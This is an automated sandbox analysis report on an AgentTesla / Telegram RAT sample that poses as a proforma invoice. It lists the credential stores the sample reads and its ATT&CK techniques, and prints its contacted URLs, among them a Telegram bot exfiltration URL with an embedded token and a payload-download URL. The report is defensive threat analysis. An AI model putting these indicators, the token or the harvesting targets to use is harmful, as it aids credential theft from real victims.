Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Queries volume information: C:\Users\user\AppData\Roaming\EncoderFallback.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 0.2.Proforma Invoice.scr.exe.36bf7a0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.EncoderFallback.exe.3cf5570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice.scr.exe.36bf7a0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.InstallUtil.exe.340000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.EncoderFallback.exe.3cf5570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2454133386.00000000029D4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2755078286.00000000028F8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2771284089.0000000003DBF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2771284089.0000000003CDF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2755078286.00000000028C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2750748078.0000000000342000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3529968351.0000000002891000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3529968351.00000000028BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2755078286.00000000028EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3529968351.00000000028C8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2463724121.00000000036A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2753904041.0000000002D72000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Proforma Invoice.scr.exe PID: 4000, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 3412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: EncoderFallback.exe PID: 6828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5868, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.Proforma Invoice.scr.exe.36bf7a0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.EncoderFallback.exe.3cf5570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice.scr.exe.36bf7a0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.InstallUtil.exe.340000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.EncoderFallback.exe.3cf5570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2454133386.00000000029D4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2755078286.00000000028F8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2771284089.0000000003DBF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2771284089.0000000003CDF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2750748078.0000000000342000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3529968351.00000000028C8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2463724121.00000000036A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2753904041.0000000002D72000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Proforma Invoice.scr.exe PID: 4000, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 3412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: EncoderFallback.exe PID: 6828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5868, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 0.2.Proforma Invoice.scr.exe.36bf7a0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.EncoderFallback.exe.3cf5570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice.scr.exe.36bf7a0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.InstallUtil.exe.340000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.EncoderFallback.exe.3cf5570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2454133386.00000000029D4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2771284089.0000000003DBF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2771284089.0000000003CDF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2755078286.00000000028C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2750748078.0000000000342000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3529968351.0000000002891000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2463724121.00000000036A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2753904041.0000000002D72000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Proforma Invoice.scr.exe PID: 4000, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 3412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: EncoderFallback.exe PID: 6828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5868, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 0.2.Proforma Invoice.scr.exe.36bf7a0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.EncoderFallback.exe.3cf5570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice.scr.exe.36bf7a0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.InstallUtil.exe.340000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.EncoderFallback.exe.3cf5570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2454133386.00000000029D4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2755078286.00000000028F8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2771284089.0000000003DBF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2771284089.0000000003CDF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2755078286.00000000028C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2750748078.0000000000342000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3529968351.0000000002891000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3529968351.00000000028BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2755078286.00000000028EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3529968351.00000000028C8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2463724121.00000000036A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2753904041.0000000002D72000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Proforma Invoice.scr.exe PID: 4000, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 3412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: EncoderFallback.exe PID: 6828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5868, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.Proforma Invoice.scr.exe.36bf7a0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.EncoderFallback.exe.3cf5570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice.scr.exe.36bf7a0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.InstallUtil.exe.340000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.EncoderFallback.exe.3cf5570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2454133386.00000000029D4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2755078286.00000000028F8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2771284089.0000000003DBF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2771284089.0000000003CDF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2750748078.0000000000342000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3529968351.00000000028C8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2463724121.00000000036A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2753904041.0000000002D72000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Proforma Invoice.scr.exe PID: 4000, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 3412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: EncoderFallback.exe PID: 6828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5868, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	121 Windows Management Instrumentation	111 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	211 Process Injection	1 Deobfuscate/Decode Files or Information	11 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Scheduled Task/Job	1 Scheduled Task/Job	2 Obfuscated Files or Information	1 Credentials in Registry	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	2 Registry Run Keys / Startup Folder	2 Registry Run Keys / Startup Folder	2 Software Packing	NTDS	311 Security Software Discovery	Distributed Component Object Model	11 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	1 Clipboard Data	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	141 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	211 Process Injection	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
Proforma Invoice.scr.exe	61%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
Proforma Invoice.scr.exe	100%	Avira	HEUR/AGEN.1308518
Proforma Invoice.scr.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\EncoderFallback.exe	100%	Avira	HEUR/AGEN.1308518
C:\Users\user\AppData\Roaming\EncoderFallback.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\EncoderFallback.exe	61%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla

Source	Detection	Scanner	Label
https://api.ipify.org/	0%	URL Reputation	safe
https://api.ipify.org	0%	URL Reputation	safe
https://stackoverflow.com/q/14436606/23354	0%	URL Reputation	safe
https://account.dyn.com/	0%	URL Reputation	safe
https://stackoverflow.com/q/11564914/23354;	0%	URL Reputation	safe
https://stackoverflow.com/q/2152978/23354	0%	URL Reputation	safe
https://api.ipify.org/t	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0017.t-0009.fb-t-msedge.net	13.107.253.45	true	false	unknown
geocs.mx	173.237.185.182	true	false	unknown
api.ipify.org	104.26.13.205	true	false	unknown
api.telegram.org	149.154.167.220	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false	URL Reputation: safe	unknown
https://geocs.mx/wp-includes/Hjewct.vdf	false		unknown
https://api.telegram.org/bot7245016847:AAHTGgEGytVrrQCnyNC6RGvqcnPdZoR0H5U/sendDocument	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot7245016847:AAHTGgEGytVrrQCnyNC6RGvqcnPdZoR0H5U/	Proforma Invoice.scr.exe, 00000000.00000002.2454133386.00000000029D4000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.00000000036A9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.2750748078.0000000000342000.00000040.00000400.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.2755078286.0000000002871000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2771284089.0000000003DBF000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2771284089.0000000003CDF000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2753904041.0000000002D72000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3529968351.000000000284C000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://api.ipify.org	Proforma Invoice.scr.exe, 00000000.00000002.2454133386.00000000029D4000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.00000000036A9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.2750748078.0000000000342000.00000040.00000400.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.2755078286.0000000002871000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2771284089.0000000003DBF000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2771284089.0000000003CDF000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2753904041.0000000002D72000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3529968351.000000000284C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/mgravell/protobuf-neti	Proforma Invoice.scr.exe, 00000000.00000002.2480596735.0000000006360000.00000004.08000000.00040000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003A22000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://stackoverflow.com/q/14436606/23354	Proforma Invoice.scr.exe, 00000000.00000002.2480596735.0000000006360000.00000004.08000000.00040000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2454133386.0000000002618000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003A22000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2753904041.0000000002C37000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.dyn.com/	Proforma Invoice.scr.exe, 00000000.00000002.2454133386.00000000029D4000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.00000000036A9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.2750748078.0000000000342000.00000040.00000400.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2771284089.0000000003DBF000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2771284089.0000000003CDF000.00000004.00000800.00020000.00000000.sdmp, EncoderFallback.exe, 00000006.00000002.2753904041.0000000002D72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org	InstallUtil.exe, 00000003.00000002.2755078286.00000000028F4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.2755078286.000000000296B000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3529968351.00000000028C4000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3529968351.000000000294D000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://github.com/mgravell/protobuf-netJ	Proforma Invoice.scr.exe, 00000000.00000002.2480596735.0000000006360000.00000004.08000000.00040000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003A22000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://stackoverflow.com/q/11564914/23354;	Proforma Invoice.scr.exe, 00000000.00000002.2480596735.0000000006360000.00000004.08000000.00040000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003A22000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://stackoverflow.com/q/2152978/23354	Proforma Invoice.scr.exe, 00000000.00000002.2480596735.0000000006360000.00000004.08000000.00040000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice.scr.exe, 00000000.00000002.2463724121.0000000003A22000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
